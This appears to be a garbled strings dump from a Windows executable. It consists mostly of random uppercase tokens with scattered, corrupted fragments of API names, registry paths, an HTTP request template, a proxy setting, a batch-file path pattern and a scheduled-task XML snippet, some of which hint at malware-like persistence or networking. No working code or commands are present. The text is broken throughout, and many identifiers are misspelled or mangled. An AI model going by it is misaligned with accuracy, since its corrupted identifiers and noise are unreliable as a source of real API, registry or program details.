GBEGICQAB
~WNBMILVQA
HTUDHUJ
p /F
GRHP
PGMKRNXXABG
+FJW[KLREZKL
EWSQHY
WJEWOMNPW
IICKHLTUBTL
UONDZOAKLN
R'Mzzpg0male
CLDKAPILGX
TITFVLKMMNRF
WMGOAFTOXK
NHIJOZ
BGXXMUVVNJT
CCXEPNELEOT
ZXHZWO
LOIJYOBHBAKV
OTOFIXHQW
DOVULU
GXFPTHHE )ZO@DDU
Ir(Zq
LOVSZFAWDID
GDNUEN
OWDZQR
)"<y
-V
GVCLMSTPBRYV
TJBUSK
MUZQUAPWTFOU
XGIUSZFS
CFMCFYJE
PXUCMFXIAU
-!Xr
VKZKNRD
HVBZLJOQE
CLYMSI
AMZADEZOPUY
NAUBROQJJZHQ
HYMFWZOSLLDH
GWSBI
RCKCQXSVDS
QYQQZNOAIY
GERRZ
U)`'
SUBTPGKAQDER
FCMBKFNF
B8AY7
TALYBTAEBTI
WQYNH
WYRATS
XKACEM
MZWKFD
BTRCNWIRJGHA
fXY\TYm\BKLHBXYV
k'^vmZgwent
PEHRKLKMVLKQ
XLXICCXPB
EMAACMCXDZ
! @n
QYAHOQF
KRKDYP
ZKTNUYAPNCTF
RKJQUDMCTPJ
VVONLNQ
XBGDUIL
RVCZJMQEXDX
CDBDIKU
ZUBKUA
D$ X$
D$ X'
IDJHZL
HKQZK
TQVLUTDF
MYOJHCHHYQHW
QJSGKGM
TRSLZB
ControlW7^w
JVWVYPC
HJSLNTENJCLS
WRKZPX
op_Equalit<,Uhpkwator
UNYXINHFWGCB
KJOREY
OZUGCQ
AVWUAS
SCSGGKGKDWHB
DPFXPJ
OWOPCYI
MHBJFJSGR
IVQPZRVEVR
OSKKMN
AIZQGL
EOKAWONBPAQ
RERVQAIHQQ
CHBZX
EKFTFYNEEP
GJJAEE
MKVHWX
A h
UFGHRCJGBASM
GZFZICQDWMUI
FCSNSP
& !_
XR@NMOKFMCUM
@hnd
FJLNAX
EOTBRKNIDDR
& t%
LJIMTVKR
RQSSKT
VTXKCLUHO
JFGJPOHIFY
& !o
IsDe-Wro`pQresent
HSHKYQITJYPP
XWKXCLWWWF
LRHUXXGVPBD
QGDBYAL
LNOCYWVF
CGKOFBTFKR
dJLC
SQQRXQ
EUEOWT
MWYAYC
AYZNPAADAZVW
MIPDUXYDJZCM
NNXIVYPSAON
&rj~
NILVPGTAZV
BAAAGZGRD
TDSYQYZVFQP
OKXHNUPPUG
$ D|
IWSMIJUSLB
JXLMCE
& tP
FHOYSSMWV
PBQE
KDLUEZCzVDTR
9D$(
YZUAPFWUQX
QHJNXCUJCMVN
DJVEMF
FRAJBYTMOP
LGDPCI
YFYJNJSUERUP
TSWTHZDXMCF
JZMIJZ
OQOSZWRRCU
WJLGEIGJROC
k\ EXDVKYZJQ
FZUMWA
MGLQWGRFSYGX
L> wz
d(N,
OTOFRYKTGUQQ
BISPNE
SNKSBLHQLXKO
& !4
RMMOACRQO
AXNPU
nDCL[EB
NDGDUXSVMFZH
LAEYRDBGAB
EBIUATZ
DEESSHFARVB
SFOXVSGYNI
ELTOALC
KRVQCZDYYBQV
HFCFKGWPVS
LKTZEJKCXSXO
VEJSCGVMDTJI
FXRXZDBTMV
ODBULXGMLI
BNGZPSSV
i 8p
SQVISE
RHQGJMNZOVU
IZQGIUHCICI
TYZDJFQ
FFYLZDGAPRO
WRFOND
j%Vkh
JOXEUHCCAQ
AFJGGGSSZFG
IOKFHGXLJK
y&!
URYUMNOPGLGU
J EGXQJAQVQSY
KRWOXXZJ
NGHPS
ECJHTJMDBE
APGPNXD
DWRJKTIJIKC
TQYKZRKQMOU
EXZEI
YWRZNTBXFNN
GQDJY
NHABPXU
KZPZCTLPVW
jDM Md02d0 /V~ oFL 9C6n@A9W
TCOCGC
NJXRJSFRS
IILXYDNO
ULTIQ
YYHLPRCUW
SDKOPPPAN
VOTKIIMYVFGC
KSHESESPAOC
VWNGEDTSRZL
LNIQUQVTNEG
EKEEAHPEHW
^AN/LK
FCBQGPGZTLOH
SVNUNFMNBGQ
WFZREETRNT
DLHRS
TVLWLFO
EGCXMO
HVTTLPAIQ
QIBQZKLTXWW
WFXXVN
HNGOAAYGBJTF
TUZEULOQKFL
WIYPGS
GNJOXJSRMMG
FAFTKGHVN
DRILYA
BooleanNkzd`kogFlags
AGIRCEXUGG
VHBGEPEURSWC
USHVROHU
OBBMJAWAT
ZRXDDVVNHE
KXWTMWGHERU
ZZTQIDPPHKME
XQKNYQZAGCJW
RBTZJD
BBPESRRQODLR
Jwg/RsXq`Jey
BFLMSQG
DWRWWVDISRB
NSUDAGHQIMMI
GGHJYMZUTXH
VFARSS
HXJVEYHXDQRA
KPSP pE@BF
YBZPGQILGC
GOAYRIATODCY
BWENPE
VLMHVFRESZSQ
HMLQXIHSDSC
LNJXK
YDOLMUZNPPAX
mDLFDLLq
JTGOFET
YEKNPYCSPJLW
ERWOHEPXYSV
MTNJWNVSPL
BQVOLOOOS
cPZKA
Virtua9jyeka Q
LYYSRQKMA
JHRRIG
JZUJZPPZ
UTZFBF
aZ]JZSDPI
CBQTVMXAK
NHXLHZCXBS
JOZKXEID
RIEANN
tj
HKVQRKLIKDJT
KPHRKA
RSYYBYSFYAWU
VNNEMRLR
XACSWHNDGGJF
HAVBFQPV
HBDHAPJ
VWGPOQFG
JUGEH
REMPNQYOBFVR
VCPIYLVCJ
XQUNHDXSN
RMXNGCUSME
rYEM
NCNZXC
YUTQGCIFIJYY
SBBAYBRZVQCK
TILUTNK
HIDYDH
Systemzp`dpk4A8JjoqilerServices
LYCTYRM
M"s
q4ld UC45BKwc`7e qPcNyZJ
YTZTSSDANBC
JDWCBC
JQMGPCE
TPEZPFGWNBVP
IWOWXFZCIPDB
QMIUHHXOPSW
EVAFCMFSTF
|SQTIFWGJ
INAMX
TUDEQDYUVWCG
UUUNFBX
GODGY
HFSQFBKIMJZE
.73SC
TOYQXDGIFZ
RTDTXVYZOMXW
BYGYXNHFCRYZ
MONXBU
VKAHOPBUEDZ
OYQMWX
QLHCNCQPGLJN
LOPAIDN
TVDQQ
UTXUNQ
YPEDBT
NXYGV
EHKXXOURVA
JCTDIILAE
TXUUFIJXIHPK
KSZXCBTBGJOO
YIRYETYSRT
bPZE
FWGYVHUYOEMG
sC GNWJLYV
& Gh
GIXGOBZ
ELDJDVKGR
VPDOMXDKHYP
GTTWXCZK
IEQBHSVZ
*C@H@
ComVisibleAttribute
VJKVUX
p _o
ZGJQRWEYAXYV
PDFYEBR
PGMTZKYPINU
FVSNZMYMOZOT
D$O,
ZGHIJQWF
XIIDTWIV
RNINYAKHWYZ
l62YsGyy.Si'!z?6[1Ghy.
LESOQSXYGNNF
WVVS
LMMEPBXTMTQZ
jIcK
CHUSAZWVVBE
OHOLTXBPEW
BBNUYG
ITUKNQ
p 3v
$ DA
FRYGRBSTHQC
DWXQQOIB
USBTZLU
YQLLF
IMXEVTGEEJ
XUVBLYYFZ
p _[
KWBMSBEKX
& i-
p _^
CBJSWDGIQT
p _P
DDIAUKIv\ORI
YOAGXDMBPEK
PWEKZCGV
ypw`lAddress
JOMKSEQWQ
p _+
GOGNTC
*BPUIVDZM
KJIQSX
Qnftware\Microso)PL\mleows\
XOTRLAFQP
QPQPFF
OCKRNCKIHDVE
SOSXNHEVXF
TIJRPN
p _'
E]EJGKMIVQP
IOQTHLNLLKRP
{RFIM |
BBRNFIEGVII
TAIWLGSSND
K aCFSGFHHH
& iA
{GET %s HTTP/g
socks=
DZAELLVQS
YFONVBIDIOCD
CCWOEGAKX
NJTUTOLOD
p _6
DYZHZYDSDHNL
NCYBOMRAZ
LCIUIC
REZWMA
DEmulat&Ix CguModuleHandle
POKOLA
USBMCNMQPKLX
TCZBZBS
GKSVH
KRQSYE
ZITWQJIS
BZUKZVBBX
XPISIOXACK
IPIZPLSLEOF
TKYEMRKXGDPE
& ik
& ij
FTFTJCAIWTOZ
`D CAWBW
:D")
Bdzmmo
GXXEH
y_OKFLN
UBRBFFCUUTS
WMWGHQYXWTRW
SXLEJBV
PGLWHPX
VTLZIRIVS
FHIGZT
IIBLAR
OFAKFYT
YFKMQQ
yCEFIRNLD
VBJQGULIO
TMTTLCUCKZVG
M t}
p 48
DKXRGAJMOM
RIQRDW
T"S
NWOKDW
p 41
fflush
FFXDBNH
SRWNZXTQBWGA
GFPNE
GMEDRNUSZLXA
SVKGQI
p 4
XGZNQS
! @|
MAQMQYMPYBOF
`pYnWfpodrator
IQYEWVXSOWVO
PEPHPBRKKZMZ
W.9v1
BSUCAKWHBXZ
$UVA
AZUVKXCO
YNCAI
SGCDDA
WTFXDO
u=V1X0535zGt;mE2G3y.Sii
SOPBQVPEZU
BATNTTRHIFYL
gE ^O {L^MAMS
TZVDBYXUWID
UXCELRTAGQ
HPXYRLSVNXW
QXPUYO
WrapNonExceptionThrows
ITHWNGMXTFU
QOVQJML
RRXSFUJMKOKT
p 4e
NHHXBZX
AOELIM
|"@XX2J
ZPXOVMLYRTUT
DDEWOH
CIAICKUE
DXEDXT
TZABHCTYTGHR
p 4r
QDGNLHD
UHAUGRXDDX
YSFLYVCHZ
p 4v
JJBSSADUXIGW
p 4J
QKFWOMVDOKKB
R!ls
KAEXEHANGW
Assembl/cvxfp!Zgajl@ttribute
ZKNMRE
JGGWJCLFE
XLHKLNZN
EFCYJHRIO
[jR5>
ZBZIMSMHB
KUCFGBQSFLYM
XPCGKFJ
VWQOY
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
GGNNDZ
PLEHGPF
IAXVVWSH
Z@wi
ADJRHJNIRUG
HGSFLPMFPE
LMLNAB
LTEKTDTTUOTQ
ROBKFTRD
RBUCUVIGGMWI
dD WNRPE
ZBCYZV
AAPLFI
v.E*
KOARF
HXSHNA
CCGAEJZZSKYN
AX,`}<
GVWIKXQYLQNY
LIIWMXUJKN
YNNCGFTTO
MHHAPNCDTVA
MUKRURVXXFR
OKRRZWVAES
LQPKSASCUAQ
CAIQSVA
DGHVCU
ONJMHZKKVK
CPLHTSSYVZ
MYXVXYEXJJN
XFIIHZYLCS
QZQVBQNWWKWP
RgR
$m>'/2d
VJDDBGG
VQQANOJGV
XMACEUCQAMGD
XBKFTB
*_??
BDYSTOOSKP
AFQGQEGVODKQ
GPMENKHIWVNG
MQAJRH
WAEGJ
WYRZZA
OBENUPWRJABV
VVLQ
DOPQSNEGYKL
CHAFOXKATY
DDPDJMDG
UGABZKAOO
PPPJVE
FPBPTRTRQV
R"lz
EBGFUFTHIV
UZMENCHKE
CTWUGXIPM
XZCQUKLT
RKXFIWYGFPL
/mV@
FIPWDBUAXJW
NRUKFVFHKJ
FDIILF
MKTTHR
CYVDWG
YXPKFALBZX
UOFFEZLE
GBSQFRMPZGJN
QLWKATDI
OJWSOR
OKTIHM
RJWCKRJKEDX
QQRLI
S g*
Cl TtBelele
W,e2
OIMGBCTFZBKH
PNYNKRYMIAKE
QCQWH
OKOJA
YDWBGM
AYOZFH
CZBPEJT
WASAB
VQXNEIW
MWAGOD
&rO)
WTGGXAI
&rO*
&rO-
&rO,
NIMEMNZS
GHEYQE
UJNDYBMIISQA
LULNNMJQSVZA
NDBKSGAPRQAN
Y)F5
JTDRORSCPJE
&rO=
DSHAITWQNEZV
KXODLMNCRJQG
ZUEUFLQVOET
SVGNUUEFMFSH
AZMWGEWRBJ
& J-
OTFGAGPSSG
&rO
NDKNHUYEZ
DRFUPKSPEX
A:OechcuionRelaxationsAttri!Sao
&rO
RSHBFZMSB
DGFPGY
P xo
KAQLJMXDXPIB
AKLGET
& c|
)lA*;l
YXZTMF
DBNXQQ
WIWDPNEG
YUDKUA
VCOQLI
AWYCLL
ZBEDYYJHGONS
OETUBFXIQNQ
TWOQIT
AAUGWCYL
JDTDZASRQWG
bU^S
AZVNUYWQOD
CCJRZZOHFI
IVSBAWRDASP
& Jx
ZNNKULQS
AFQWNTGXOV
BFIBXTO +_EOJBMEOXZO
DJJA
&rOg
CYGIN
TKQKQJMGVOYH
JQIBHS
SADSRV
MUXSOIAT
&rOq
PXVCIA
M~L
TLPHBU
ZYQCBECSZ
&rOI
BCVXTBMVTEMCZTXVMCCIUTRTIXX
HOOEWTKGAQR
Cs4vK 9b6S3YW01
GHKWWS
VRPIJLR
TEPWSIAFXDXH
IJCUHTUPRH
NBJSEBMFYM
JZQXMXMZOR
&rOZ
VJDUSKYWBSAC
QqOUX
MSVHMS
&rOP
SKOKNW
RLBNWBGYB
YGGERQCNRFLG
XLBMPUXL
MAUQRILBM
PJTAXXKUATX
LGQZQR
OQVLB
OOXAORVN
RMCTTUSSVTA
KOADYUOQJ
BGVJGA
db")@ksC-@
8c7Aph*@bcccc1Ivifabcccccccccccccc5Bskgabcccc9:
,UHEJ
SIIWPO
ZAGCMFGZPTZT
FUXAUUMYWUD
'XLUC
UZTBUM
E$ ?
WSGJXJVAZGB
KTJOBQJU
WZTREU z_[
RIDEIRUYSES
*R0<
LVCFOXHRKVQ
FCQAERTRTSK
kU^NU
ABBRIRPNIAF
DKUUQT
OKXWIW
PAKWOPVQYCF
UIYUJY
E$
Qay`luVersion\Explor,XO[mgml Fo4Cwzv
WFOOXKPDCCNZ
SAWMRZCLIO
%nSA
XJZYIAEKKYU
aKCFZ
BLSTIHIQXHQK
MDEQVZKPQZLN
CLXUKB
MYNBZJURWALK
,fzerh.dll
WLTMFORMLSH
KTQQQRW
NNQWCZY
SLRVVAAMIVGY
DWWDUO
DNPYOCAAX
NKDAFPSKQRIO
AEXPFCCZ
VNYQKAGER
KXBZRF
XNYHVHBUOEV
YHFAPIWVZL
NCIURMAFQKIG
JKWEGPSFUTW
MRSZMBTPK
q pb
p |]
T cX^BGDSC
TUKJFA
DLCRCIZPSECK
EAGIT
8Xreh, Fy Okml
MBDLATINSBWO
RZBDQOAHM
NJRCXCYJP
IRHFRMTXMMCP
NKZPSJ
CMBJHQCERZ
ZJSBWJ
PBOHAXDQCX
LZUPCG
KNLKLKP
y"l{
EBYCKO
EICLTFQSZ
QRULZMGKQMTX
QLVJCBV
IZXKHMIWTK
eR]KRNC
OWNZLF
FFSZBR
0*GT
EPLPUGXN
zXD@LO
LLEFOBM
QLTXBJNOILUB
LHROMLLXZ
ICKAPHQAUOUE
TFLIKGPH
ZXORXBFO
HANHRHA
GUOCFHDOXNC
DLYHY
TWREZT
VTLFEBLUAID
sVY@K
AOJYNVYU
RIBKYAUY
LYFSDTP
`&v r&
TQZWQJRYFIA
RYJQVVCPA
HRSYLTRWEM
DMYXRYOQ
WFCOZU
EQCDGEUH
n,*If12d0
JCZTVDR
KAQGYZ
JSYMFNYGYBEE
SCCLNOTSDPIP
ONVAUV
EXXVWO
{]ROT
BCOBGAUCNUGM
EGPGZFDCPNA
PFRERMTMXFID
DUQQEK
EJPVWOANUUQH
ABDLXNWYJHB
GYAVIHGZ
)/ZvmbessPers>b__0
WMMTMUTLC
OXMOLBDZJHA
KIEYJFZS
&^&d:
HELUSUY
DJQPPDVT|CBOA
NEXJZCFPOCO
YXSNQL
WAWVBOKCBLK
JQDSJ
FFRJNPCC
RIUKCOPIWPI
LTRWNVMTSLBA
ZINGUL
EATBNYWRUGHL
DTXOCJHHAQGN
RIHPEFWNWZR
DHVTKIRMVM
JAVPMOMP
QPZTIZ
QESOFYS
JYJGHNKN
$ Du
GFIEDLGWB
NQVHALIFA
$B C
THUJHU
PMSOJRCGAMDT
WQZZAG
c]SB
VQZMLHDBVRM
STHHDU
UQWZPCVDPFSY
MEVJBKCOI
KUAQULCNZZL
HDFNHWRBHNR
OFNPWTHFV
QPWHHWDW
IERDFJLF
FRKKVG
DACAYX
TABPGZMP
ZZUCSPWUWR
QQWBZJLFNNO
WNIDOI
JSGDIPFKJJC
XMINWUP
HREGQ
}LCT
EAEONJEFS
SAOUYFFGL
ZKPQJOSQST
JUPKPELWH
ZBNIVR
OCUIYRPDTQ
OSYMRMQATHZE
OANWHFPSVDZA
?HS*
RGXFZVSZLKA
QYDBCLIZQRMV
PTGTLJ
Jdodf
DKMYFUJTYFDT
EPNBGVXEV
MAHNOJMSFCMJ
IZIKGXCZYF
IQYIOACL
PYAASL
EHACEOLIO
JYBWQNTNZ
Eelet hW
VDGSCMYVE
h$V'
WPCCEZJNRPI
OYANJMRJH
(%U*
BRNEGHQQDAGA
QSFHEZXQZERP
FFFONIA
UOYARHUKDVP
ELFNXDKP
|DZWJ@
DDDAUMBWQJ
!R@OH j
PESWAOFIEDLA
KYZEPF
DUXKRBTFKBWO
& /p
ZLCKSSSLJYWN
#VA[442d Md5Qs\XR65 @znW"QWlsW
ZZCOMFI
SFGBW
& rM
WALHU
MIOOAXEJEDT
QXSCUWOGWUAW
JQJOPZEPV
ZRGMVV
QEVLWNXAQTKL
YAXBCDKCIW
E$T(
BJPRRHRDD
CheckSu/*VdqoTOJiwwl
NVLRRMMwDCKG
OFSRXFIKOQNW
ognnse
RQJHYTIDILLG
IKYOGX
LGFNQRU
HDFJUWTGSSFU
WKNRRBJBOGL
PWTHCTOZYOX
AORJWANTRRY
ZXMZZX
QZJMYLMKJ
BQGRAT
& /)
YNGOBZZUH
WAPWYFU
& /%
PGKPEQP
& rf
DABZIALPNPSM
& /=
EOQNFRDOBUK
SMFVZWMPSGO
PSCNZXSXBM
GDJFIRY
QYADV
& /6
DPNZAJ
VGSSQX
MPINWDLTA
FBJBBRFMNM
GKZETJDSXSK
XPRWAHNQLVF
KEUVYVUVILVY
LQJCURZGC
DWTJPX
FMGQKOVFJEHH
YHRBITSEWCZJ
realloc
SHWHAKSZBHMV
VBJBQXL
AGUVXF
VEARNSKNMPEQ
EOJKNLCA
BUOPZCHMESS
IUVINFYBKZ
RKJRDRYCBBZ
NNNABXKGDLMA
NavUickCount
XPXBMJ
OJWUPC
USQUPBZ
ZLFQNY
tL[OUFR
GETFLXLOLVMC
ETGAJVVXPRJ
qG KTQOXV
PUWIYGBPPC
VDBCCHYYMN
EEAMX
AQMAFMMAJAJP
VIJSIH
GetCurre8U@zka2T` BguProcAddress
JBJSUIHYUCBH
TJWBJANDBU
OAJEZMEPVE
XKRYGVUK
BADZTBHMJ
c0 ta@
YEDEAGFXW
TMFHPFVHV
ESDBIYBYRPS
TFRYFKYWX
ZUNITHXV
PXNPICHBDJ
CHLIOWKNBI
KEHHMR
%6\Tsd0CrkB11eB0d\T&C%K$O4CVid\mWn4R aC5 ,
GKULBNN
ZITW
CAFGZIAVJVKP
DSSKPL
DFMUCRZOJAR
OWQIAVLL
YADSYIXKKCI
WSYILHKMVM
RWHQFPHCRQYV
YVGXODCI
PZIIDCOTWPPO
zWMJH
CGKAAJUONYPU
QSFETYLV
UAIRHT
QOMXGDSKS
RLFEWMWNSAJG
QBQWVURPYRA
IVRQR
itonsT
NUEFYKZCHEFH
'b%c%sU
EEZIHPZK
(u
FFCROCTKNdELFM sUE\VJ
CBDHMTL
bSZKI
DWUOKZGTF
UGPNNBVV
DRCUCIXKWI
BPEHVQCTAMYR
ZHEAOJ
LYCJEVTAM
YOAHJR
QVOKEFR
YHAEXUQLLR
MENIYEWJN
XMROENSVLDJE
&BYTRWLL
Dp&)
LMLOHQKXTFK
BUIQSCH
FEYWOC
SOQVXLARQ
YWIBMTMS
DXLKNGS
MJQRPDPWGZ
ASSQOJ
AFPVERZPG
SDGIGTQHJSZM
KZEHKXDBBR
WJIGRUITEWHP
VYHYVE
CUCLYPNUXSQM
get_Threads
G7RE{kadssTimes
PBWJUD
ERQQLUFMUQNY
f7C
APXFRTCSBVG
XAWFTLZCHH
SJAMEODFQUDH
BRJREPFIXIA
IQXABHUA
AZBEQS
& ^b
e\GKWByDIFGWKCQU
OHDJABYIKAN
YRLRIN
GNBGJGWGMYI
ZCDPCD
ILCKLVURSZC
~FNV
BDDYYYBCSTSE
RVHMMZESHLXC
IPESKSZYTC
GPJPWRLITQG
HOYBAN
Alloc
GRFCMAIRKSR
H @}
TPLFSALSZYWV
MIWAZKLJA
TOYZBCEREUV
2I1
GISDFKGISDJD
VBNAH
IYLDJAQIHKY
WTJLMBQLDUD
& H'
RZFWEVVWEA
IBGNOG
2System.Resources.To7Ee'Wv:H
ANRVEI
NJGUQC
BYWSNK
PHYHRVC
PLXPFISUKSWG
CKIUMZLUS
EIFGLOHITIX
DUGLRJPXKL
WRCMWE
MMVFLHMRAO
WMOIWLBXOSOK
FUWLSXPZYVX
KAPBY
"\x
ZNFDMF
g]ENM 'EPKMS
PCTDME
KHVKQ
JPNSVOTLZS
YBPIK
ZXEKILLRCIBF
DUTCXCSJG
%.2d/%.2d/%d p 'l>'/2d:%k
ZHPPLPFHQEFZ
MPIBJNXQW
PUJDOS
D$A.
D$A-
FSPECVIRRTQW
D$A*
YWGBWHPLT
WGLXNSEABIED
CZPXM
D$A#
GLROLXQN
D$A!
U (U
LT_qU U{WCUj4iiC\%6\%6\FC4
IZELSFYDMF
YJGUHV
PQXCQH
6y!q:
EBVAKFPZQ
HUCROKXNL
KUKUUC
LXXJZSEDTP
WFIWSQY
ZQMSEJE
FCGYHRRGV
MJISKE
ENXJTT
p AX
gYXGP[W
PYKXJA
HRPBGI
HRGTLFHJRDS
TLDCSRWNZONM
@!3B
QVHIAP
WYYCHS
VJVSQA
QGNBDZKAJV
LNCGXQ
MNMMASFFQCVK
q^ PF
VJIAVGY
/5DD
WBIBFXSPX
BWOVB
DJCIIZMD
GJTOQVIZYO
dSGCU |ABNF
D$Ac
& Wj
DYITJPFUOYXM
TYDZJHCBXQ
HHFXWBVXD
QZAEWLQHYLZH
GDHJFCVVEZH
FNMLEGNFCEIV
WCIZTG
VSAXHD
D$At
& U}
& Wy
ECQYUYNLYB
&r4x
PNQFXC
FUTFMSQMVAKQ
WDBNDJ
LXYOZZ
tPAVR[VPKD
XTNZJUWFVXTX
(N Vd
&r4v
SDPAWCLQZWR
RYFDTHWAWME
^RTR
KWBSANJIGBR
DYFKMDXJDCW
SIKRDTIWK
PUCVLGOPFU
QDEUKYOS
ZHKGODURUP
VLSHCPHHUTZ
XGGEJI
IARJYXK
UJNJKHNKJEI
TZQTHKOM
BNGILLPNL
p 62
YWDJCD
PICLZR
SJDDHYKGCC
ASALAH
WHWGDZN
ORAVRKBORLS
ZHHUFEZQ
KGGZSE
AWXUHZAPMF
%]b"ld85]
WSBTFGXLPMRS
LCOSOJGQZ
BFUQYRNLZRO
DJMFHQ
FGZMPQPCMX
MGXEPMCMIGGL
KEJJPTZOKAL
UMTXHTWHDGJK
HZIEMZ
ASUURUPNRKCT
UQDHPB
ZMGWU
L$ ;D$
NERHYVTOKE
'R@AE@EBQF
HVOIZON
UGRRCN
DCTOBGUIIX
JOJXEDQEKN
ZFDVYTJBBK
ZJFAAYDXDHEY
&r}-
BNRQJGBFQ
Uoih`h
TRCOWBGLDDA
DZBOPUEEXFD
p 6
OTKTNLQFKSI
p 6w
XEJNZN
* Tk
GZHAJ
QVUCYZ
IsWindowVi+@qfa
QCMTLA
WTTEZFEASDBA
RAUXIVBUHWF
CVZMQF
SNJQWB
NFEQFAJZTR
RTQEJZOXVU
p 6g
GGZRLLTPCWXN
BVEXCW
EJCSHNWRCISE
AWGTOKP
UXEQGJO
WPZFFPXFE
USQAPOCGSWH
LGCIRRFTFSU
FIWPIG
NWTMQ
FZCAGMWT
TLGRYMYOKB
OKITFA
LCIYADISYNN
TOBG
p 6Y
PNAYO
AKSDOYY
XCGNGTELLED
XGDLOYVDHEP
PGMMXPBDVUJ
IOMFRYUFHWNH
FRVSHK
QYLMGWVHLNGM
QSHCQA
YMDJDR
YXSISVBXFELE
]]NMq
HIBR
XQYKRDXTS
ZUBBQMJDUIJW
HWHBUGLT
IESBUOONXKOH
PGQAQNHVEO
oDECA
LFTCZCMCU
NOZVFC
DLLYVUHYATRA
UQYIHTHYRGHX
D$U-
MSUEI
`UTWGBTION_HEADER
UTSLTNSRSZ
TPIZYEKJXWTQ
EAWDBCQ
GASZWA
AsyptDestroyHashT"d GpxptGe&ltzlR`ram
S`|`o
GBKTQJA
&XW75ld3i
ICCUVPANAR
SBWXOKBYXF
PYSOTKHRQS
xJHVVDlG@BDBRT
BPPJSIJNBNFL
EBLSXQ
YOCKZLDAVIZN
UVKGOEPBSJW
PASATYAWPRF
SOVNPSAEMP
YVGSYJJBZ
ULOZJZBOMN
LWMYKJH
EOBCYU
OLPUVWFHKLWF
YIAPLO
DXRYIYPTW
NYWQICCOA
FUVZMY
VJRUMDCNX
TREVIX
MYSMCZKGYJK
EIMGYOP
PAPTIUHGF
LLUEYPFVBTTW
HKOFGYODFX
ZKPTMI
MXUKTKNBL
VAKLHP
WTYYKGZQINIU
I811mQi54 p$m6kF3G3y.Sii
MQXWGOR
AOJWVGS
MFRTJMLX
~>3d
{NjaoevdDirectoryA
FCAGXX
WTGFXJTL
UIUXC
NSVMJPH
TMYUDTCVMXTR
DFLXEPMOL
DXUFOSWFENDJ
VSUISNAI
JRZOUNFBE
YKLRRXFCP
L \h
T0[b|enRize
JFEPUTDIPHTZ
BPDWNBN
NKPUFFDEWHY
VCZXGK
OGTMTSWRKQPZ
MLCDHSCDWERJ
AWCAIO
&rQ6
GQTBVDMOG
ERXFVGHR
OZFQAPYMNRmDFJP
&rQ1
EHJABWJZVCY
ABTHFEUZQU
RYAGLFCYX
XXFBFKA
TVYRAKLNLB
QKFLE
&rQ$
&rQ#
QDSFLMKNY
BSADGDMMMVTC
XEUBKQJXGGH
KRQ[SQ
PFSGDGEVYFL
KSDPIX
&rQ+
IZPORETKDY
KGCKHX
B*,F^
HKQPLUIIUQ
SVNRUL
MUWID
AKRJYX
FLKRXBAGCEN
ASVRO
NZRZEUVQR
NJISUTDFMKIY
NGHKZP
NSMEADLRL
UUGTAB
CNFRMP
UINATZBTRLSQ
BQJYZ
ZHWJLTDLQIYB
RROQGCYDAIR
HMLGVWZGWSRN
LAHMOJAJZQ
&rQ
&rQ
SAHWSPLNBMIJ
'ELAE
YZDYVPCTN
QMNYK
|AEj(
KDMSYP
&rQr
EIEVTZEZDWZW
PDXJWYB
LSKFHJ
CNVEFQEJSROU
& Ht
QKUEGTGCZQEF
& Hp
DOACBUL
EGAJRAOS
EXPIVFISOWXV
& Hm
VRWWPVO
HMXVZGZQVXA
EGPSUKU
&rQn
& Hb
_vsnprintfU+_ gcmloc
YNJUNRGFAQ
LKOBVNGVORCD
JEXABSPYAH
& HZ
fQ\MM
SGTQCV
q"4{
&rQ]
NZBCRNP
BDZFSUOURH
8)[z`lQroce+X
VXAAJLVK
CXIHJST
HVHBIECOXBNG
UBWEZKRAFH
CTOXGWBO
ADGTAO
& HA
UMTCSUJB
LQIIJE
MAUHGMFNT
p ~
p ~
fX I@
WWKBX
AWYDEXJF
KKJWEXGU
MIAKLNJ
RPBZU
MOWZDU
CLBZBA
NKBVH
LVMVXAAQZX
HLULDPSC
LRUOUDILQPG
ZUHFBOPNZGRN
HVXWSGKZ
BWMLHSLJL
:dmv.task"> <Registra1CzgMl.C-
BNBOYKUCMWP
e_cblp
LWRQHQDF
RFCGSRX
TQGWVZ
NKRBNABHSDIE
PMCQGCI
BNOZYSFNWK
cVGSAI
HPOMBMVJUJ
XKLNPCCCBNV
NFQBXRQAIK
TUDSYK
tVR]A
UZBBNIOCKOHL
ETMQWEW
GMRNQM
UUFACZ
%s\%s.bat
SWLMLVXf[EJN
FBOIS
ZXUVB
ULKIWG
BAWVDZ
EPCMDFXLEROE
PMFZBN
CXNYCOPHYZH
KKAQKZKJHVW
NRDFHFLUIF
LUNUDWBCEYQ
VBVEKHHE
EHENTFAIFYI
QFTYATGPGDNW
p}jpS vjpms
SEFRJD
KWETSG
p ~\
_vs;Qacjvg
MDHYZNRSMN
ONRNWWTJI
Y(U75: %n
HXVSGYAJKUVK
MXBJPA
MULKMPMUDQJJ
HXPYJO
BGUMVIJRCAC
QUQBBG
HEQWGOIFBC
QI$7NoMR'
p ~m
MPGTODYIW
IdToPtr
gSI]A
p ~g
MDITYIWJWI
PZYMXEVVBKUU
p ~`
p ~~
Igfh]Release\ClassLibrar0
u29
SZSRCYKC
UXSDOWYD
CPEBJLBTWYW
ADXNGEZUZTEC
MSBXOHJQU
UTSLXENOFB
UDTJQZFUJSA
KRCYHXULU
LXGTPH
LKIEYE
<RCl1
MCDKSR
PZNXEPQI
MNYXVQJY
ASXMDELB
HQIGYJ
SEWTGN
LJNZNLUCFIDV
KCDTI
BJHHFVPJL
ZXR6d05]
JUNPLDKWVIQ
UHKHOX
HXIRRUYCBCJQ
QUQRU
METINAFZMEBR
UMYWNDYZWNB
ORCGQQWJBXG
RUTGC
KMIPORNIF
PQGAURONXGRS
GQIUUEKGLY
OQGQLT
PVXXHK
NLVGLQ
VFZVQNIMUNYC
CMQHLA
CIRYQDPKCQ
FHMDFSTQXCZD
TONWNAABEAUA
ENDXCIYNR
MVPURGD
VRQUUZ
UWVS1
YDPIFYEN
ZONZNQPCSZY
AIGJUVOQIYVE
SegC+$CocF')FobGr
UYCJHSSPRCE
BGKPJUGO
FRTUTLZRS
pdcv
HYPZIPM
RRMKQAVPWVUJ
PLKVFE
EXKZRSBLNEZB
RPNCTMLS
SZAVU
LJYDQN
DJJKR
IDKQYC
WQCIVWYMHQ
UQGWYGXAD
IILFVEWYQLX
GAWCMC
EYCXZA
UKXXRNCWYMZM
MSLKATRIWZ
YTIXOS
SLHUUQ
,LFVL
ZUGNYEZDUREE
NXGIZULGEX
$@N)
LHEDJO
LWFIKSXCLXNV
BMYPBFYSPVO
YTQZXW
VYSHMIMUWRM
CSLYYFUDSD
D$ T&
SAWUKO
w@I\
NEVGXCEYK
UASJYCPYIAVA
QOUKQST
BZJKZFEJY
HFWEBHVAVJHA
CDLYLK
